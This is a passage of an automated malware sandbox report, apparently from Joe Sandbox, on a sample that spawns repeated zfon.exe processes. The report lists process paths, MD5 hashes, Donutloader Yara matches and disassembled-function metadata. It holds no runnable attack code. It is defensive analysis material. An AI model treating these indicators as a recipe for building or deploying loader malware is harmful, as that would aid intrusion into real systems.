Commandline:	"C:\Users\user\Desktop\VJQyKuHEUe.exe"
Imagebase:	0x500000
File size:	185'744 bytes
MD5 hash:	703274FA7A3FEBB125CE7EA741A2D546
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:06:17
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000005.00000002.2529216553.000001AB8875C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:06:17
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000006.00000003.2529019018.000002DC4A449000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000006.00000002.2604535605.000002DC4BEE7000.00000008.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:06:17
Start date:	18/12/2024
Path:	C:\Windows\hh.exe
Wow64 process (32bit):	false
Commandline:	C:\windows\hh.exe
Imagebase:	0x7ff607f60000
File size:	18'432 bytes
MD5 hash:	2C8FE78D53C8CA27523A71DFD2938241
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000007.00000002.4591031165.000001CDCB5B0000.00000020.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:06:19
Start date:	18/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2000 -s 456
Imagebase:	0x7ff717de0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:06:20
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000B.00000000.2552109850.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000B.00000002.2582901850.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:06:23
Start date:	18/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2000 -s 92
Imagebase:	0x7ff717de0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:06:23
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	07:06:45
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:06:46
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:07:01
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:07:01
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:08:00
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:08:00
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:09:01
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:09:03
Start date:	18/12/2024
Path:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Imagebase:	0x7ff7f96e0000
File size:	2'659'840 bytes
MD5 hash:	44AD77338A945FE1451861B59267A68D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	123
Total number of Limit Nodes:	9

Executed Functions

Function 0275B1D0 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b2bf3afd7bb9c4dc3f75808d34211c5dbc1b8c60e312194b96338df62a705785
Instruction ID: abfaa20250672d2efccf037a2bf20ba8be780b03c0fa4c91ffd84564d9c255a8
Opcode Fuzzy Hash: b2bf3afd7bb9c4dc3f75808d34211c5dbc1b8c60e312194b96338df62a705785
Instruction Fuzzy Hash: BC712670A00B158FD724DF69D04476ABBF1FF88304F108A2DD85AD7A54D7B4E945CBA0

Function 0275B459 Relevance: 1.6, APIs: 1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,0275B1EC), ref: 0275B426

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0ccc47a795cf6b96abc1f2bfbf6db20756cc07041ba3ee8665439d43a0305870
Instruction ID: be4286a5d9a499bb5c3f6ffb10197ce456993d540bccd63e545628b32885cb0a
Opcode Fuzzy Hash: 0ccc47a795cf6b96abc1f2bfbf6db20756cc07041ba3ee8665439d43a0305870
Instruction Fuzzy Hash: C4518EB1E002688FDB14DF99D8447AEFBF2EF88318F149129E818E7294C7B49845CF91

Function 02755F64 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02756021

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f27f7ab07e69e28505ff10dcfdaa7c910ca8e4ae8080da84b45f4434d1d0e9fa
Instruction ID: 7a1d197c53be78e33279f6c9383d4571865f192a93752ff66964c0e559b68a15
Opcode Fuzzy Hash: f27f7ab07e69e28505ff10dcfdaa7c910ca8e4ae8080da84b45f4434d1d0e9fa
Instruction Fuzzy Hash: 9541E2B0C00619CFDB24DFA9C844B9DFBB6BF49314F20816AD418AB254DBB56946CF91

Function 02754704 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02756021

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 374bd608dc4599ebdb8a8d5c41f11362a84e9473b23c61c6aa332ac89d1c44dc
Instruction ID: beb4aae83fa4fc4a7d9d90903ab1f643bd74f2964bfb2f3d9b4a4f3e8bc4f97f
Opcode Fuzzy Hash: 374bd608dc4599ebdb8a8d5c41f11362a84e9473b23c61c6aa332ac89d1c44dc
Instruction Fuzzy Hash: DA41E2B0C0061DCBDB24DFA9C844B9DFBF6BF49304F20806AD408AB255DBB5A946CF91

Function 0275CF78 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0275D66E,?,?,?,?,?), ref: 0275D72F

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 28a3960c189ae972de4447a5e77742b2c2d5cd49faf7281cc0d419bec768e330
Instruction ID: 52bf21ac91f62bd5428d1c3f1521f3e85b851a7e842687b32f1d8774d465b9d5
Opcode Fuzzy Hash: 28a3960c189ae972de4447a5e77742b2c2d5cd49faf7281cc0d419bec768e330
Instruction Fuzzy Hash: 1F21E3B59002599FDB10DF9AD584AEEFBF8EB48310F14841AE918A3310D778A944CFA5

Function 0275D6A0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0275D66E,?,?,?,?,?), ref: 0275D72F

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 221938aad965a1fcb2d15c99a7cd17bc700026e72770eb7e4133ded450386055
Instruction ID: a1cc5bfd578fa027f4f3a22a02abe5ad094960bbaf8b8b1bd94557c16c078fce
Opcode Fuzzy Hash: 221938aad965a1fcb2d15c99a7cd17bc700026e72770eb7e4133ded450386055
Instruction Fuzzy Hash: 5B21E0B59002599FDB10CFA9D584AEEFBF4EB48310F14841AE918A3350D378A944CFA5

Function 02759CC8 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 02759D3D

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 438892428abb52ef8e621c8a3057cb333f0a19ff5c97a8730722efbdf6e385a8
Instruction ID: 458bad52dcfec1b7db49110b775bcfdb29447a887edfc7259313a3ff42dd233f
Opcode Fuzzy Hash: 438892428abb52ef8e621c8a3057cb333f0a19ff5c97a8730722efbdf6e385a8
Instruction Fuzzy Hash: F421DFB1804388DEDB11DFAAD4047DEBFF4EB06314F144099D998A7296C378AA44CBB1

Function 0275AB94 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,0275B1EC), ref: 0275B426

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5b90e5216635ce3ccc1ba7168d90fc98e5ef3f55880b13f88ffc29b575954d97
Instruction ID: 14a6fe7682da101bcd88130b053c5bdc9732ed1f9ed25b97eebd548d564fdb69
Opcode Fuzzy Hash: 5b90e5216635ce3ccc1ba7168d90fc98e5ef3f55880b13f88ffc29b575954d97
Instruction Fuzzy Hash: 5811F0B58002598BDB20DF9AC444BAEFBF4EF89314F10946AD819B7210D3B9A545CFA1

Function 02759CD8 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 02759D3D

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6fe3512e82415820c32d649a668e4d376987bd9933cade7b8595188f7099bccf
Instruction ID: 1e447be8999975defc3d2d3c6526c4c7d3bf8c5c3a6f76a3f4eda30d12ea3928
Opcode Fuzzy Hash: 6fe3512e82415820c32d649a668e4d376987bd9933cade7b8595188f7099bccf
Instruction Fuzzy Hash: 9E119DB1800398DEDB10DF9AD5047EEBFF8EB05315F144099D958A3245C37DAA44CBB1

Function 09370040 Relevance: 1.5, APIs: 1, Instructions: 44
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 0937009D

Memory Dump Source

Source File: 00000000.00000002.2548359781.0000000009370000.00000040.00000800.00020000.00000000.sdmp, Offset: 09370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9370000_VJQyKuHEUe.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 98c2c096928fb07c8f6644e06d29a2dbd55b038ff150b9b1148625363f2cd5f9
Instruction ID: 8b71109c594b2f43c21865517318d6b2cb2fbd51fd4a67465c4069b4db3115b0
Opcode Fuzzy Hash: 98c2c096928fb07c8f6644e06d29a2dbd55b038ff150b9b1148625363f2cd5f9
Instruction Fuzzy Hash: F511D3B58003499FDB20DF9AD945BDEFBF8EB48320F108419E958A7250C379A544CFA1

Function 00F5D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2529162116.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_VJQyKuHEUe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 043f2398de365950bdb4305912976b5c5dde7b01bbf8f9c04b3631fbc53c6b1c
Instruction ID: a83445827f5eeb34a198fc17a7c9b8f93b59aee508788969539edd06eff53c95
Opcode Fuzzy Hash: 043f2398de365950bdb4305912976b5c5dde7b01bbf8f9c04b3631fbc53c6b1c
Instruction Fuzzy Hash: CB212571905204DFDB25DF14C9C0B26BB65FB84325F20C56DDE094B252C33AD84AEA61

Function 00F5D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2529162116.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_VJQyKuHEUe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64fed43b41eeb17a060cf92ce7281ea6020bcf8d888225618d1fd557bf96e58c
Instruction ID: a170a27bc4efaeaf7a065c2e9666bea622809fcb4ff27f41d42c60597ce72354
Opcode Fuzzy Hash: 64fed43b41eeb17a060cf92ce7281ea6020bcf8d888225618d1fd557bf96e58c
Instruction Fuzzy Hash: DF21F571505204DFDB24DF24D5C4B16BF65FB84325F20C569DE0A4B39AC33AD80BEA62

Function 00F5D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2529162116.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_VJQyKuHEUe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53864572b7c61133590019717d56551bd8b4971df2f0885abe01d75578af1056
Instruction ID: 95f8faeeb420eb55686aec3206f8cef259fe31dfa18ec9fe40ae68f67f0a85fa
Opcode Fuzzy Hash: 53864572b7c61133590019717d56551bd8b4971df2f0885abe01d75578af1056
Instruction Fuzzy Hash: C9219F755093C08FDB12CF24D994715BF71EB46324F28C5EAD9498F2A7C33A980ADB62

Function 00F5D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2529162116.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_VJQyKuHEUe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 6d961f8d6138e1a55f29e8286dbcd58305b014674720062d2fc0364ce22f7e20
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 8311BB75904280DFCB16CF10C9C4B15BBA1FB84324F24C6ADDD494B696C33AD84ADB62

Non-executed Functions

Function 0275E004 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2529476001.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_VJQyKuHEUe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124681e02c1d4b0443c16c39b7cdf3602f6e6e9d17057fc096b5f31c0a846bac
Instruction ID: cb61a8c3803281642d3a2f443a8c0a867134c04b8181cffecc5ae42d22eb20b7
Opcode Fuzzy Hash: 124681e02c1d4b0443c16c39b7cdf3602f6e6e9d17057fc096b5f31c0a846bac
Instruction Fuzzy Hash: 22A15C32A002258FCF09DFB5C84459EB7B2FF85300B25456AED05AB265DBB5EA55CB80

Analysis Process: zfon.exePID: 6208, Parent PID: 1472COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	204
Total number of Limit Nodes:	5

Executed Functions

Function 00007FF8B90FA300 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 165
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::ios_base::_Init.LIBCPMT ref: 00007FF8B90FA318

Part of subcall function 00007FF8B90ED0A0: std::locale::_Init.LIBCPMT ref: 00007FF8B90ED0FE

std::ios_base::_Addstd.LIBCPMT ref: 00007FF8B90FA356
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90FA3A8
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FA3B9
fputwc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90FA492
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90FA51E

Strings

ios_base::eofbit set, xrefs: 00007FF8B90FA383
ios_base::failbit set, xrefs: 00007FF8B90FA37C
ios_base::badbit set, xrefs: 00007FF8B90FA370

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Initstd::ios_base::_$AddstdExceptionThrowfputwcfwritestd::ios_base::failure::failurestd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 247381371-1866435925
Opcode ID: 35a38cbc79ebcab4b9ad5f99447ef1bcd6ff45df82ca40ad9567068bb31a2069
Instruction ID: b6f7de4768affe16859699a71e4fd12e962b28ff7ba6dc9d047b9c904a2326cd
Opcode Fuzzy Hash: 35a38cbc79ebcab4b9ad5f99447ef1bcd6ff45df82ca40ad9567068bb31a2069
Instruction Fuzzy Hash: 7F717B62618A86D9EF10CF69E4503A933A0FB84BC8F954032EB4D87B54EF3DE656D300

Function 00007FF8B90EB560 Relevance: 7.5, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B90F8510: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F851F

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90EB581
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90EB596
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90EB5AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90EB5C0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90EB5D5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90EB5EA

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free$setlocale
String ID:
API String ID: 294139027-0
Opcode ID: 33854c43b5f3c28a57ffc5b189671f457a919127f309d7183e95e5e4e4349629
Instruction ID: a099397a9bd2c3935e8c1e289f17ef55bdbefea8fa41976adbd0ee5892e783ab
Opcode Fuzzy Hash: 33854c43b5f3c28a57ffc5b189671f457a919127f309d7183e95e5e4e4349629
Instruction Fuzzy Hash: 78112E27A1AB8181EF149FB9D4A43392360EF49FB9F141634CB2F55194CF2CD485D380

Function 00007FF8B90F9BAC Relevance: 6.1, APIs: 4, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

ctype.LIBCPMT ref: 00007FF8B90F9C75
std::_Facet_Register.LIBCPMT ref: 00007FF8B90F9C8D
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90F9CC8
_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90FAD6E), ref: 00007FF8B90F9CD9

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
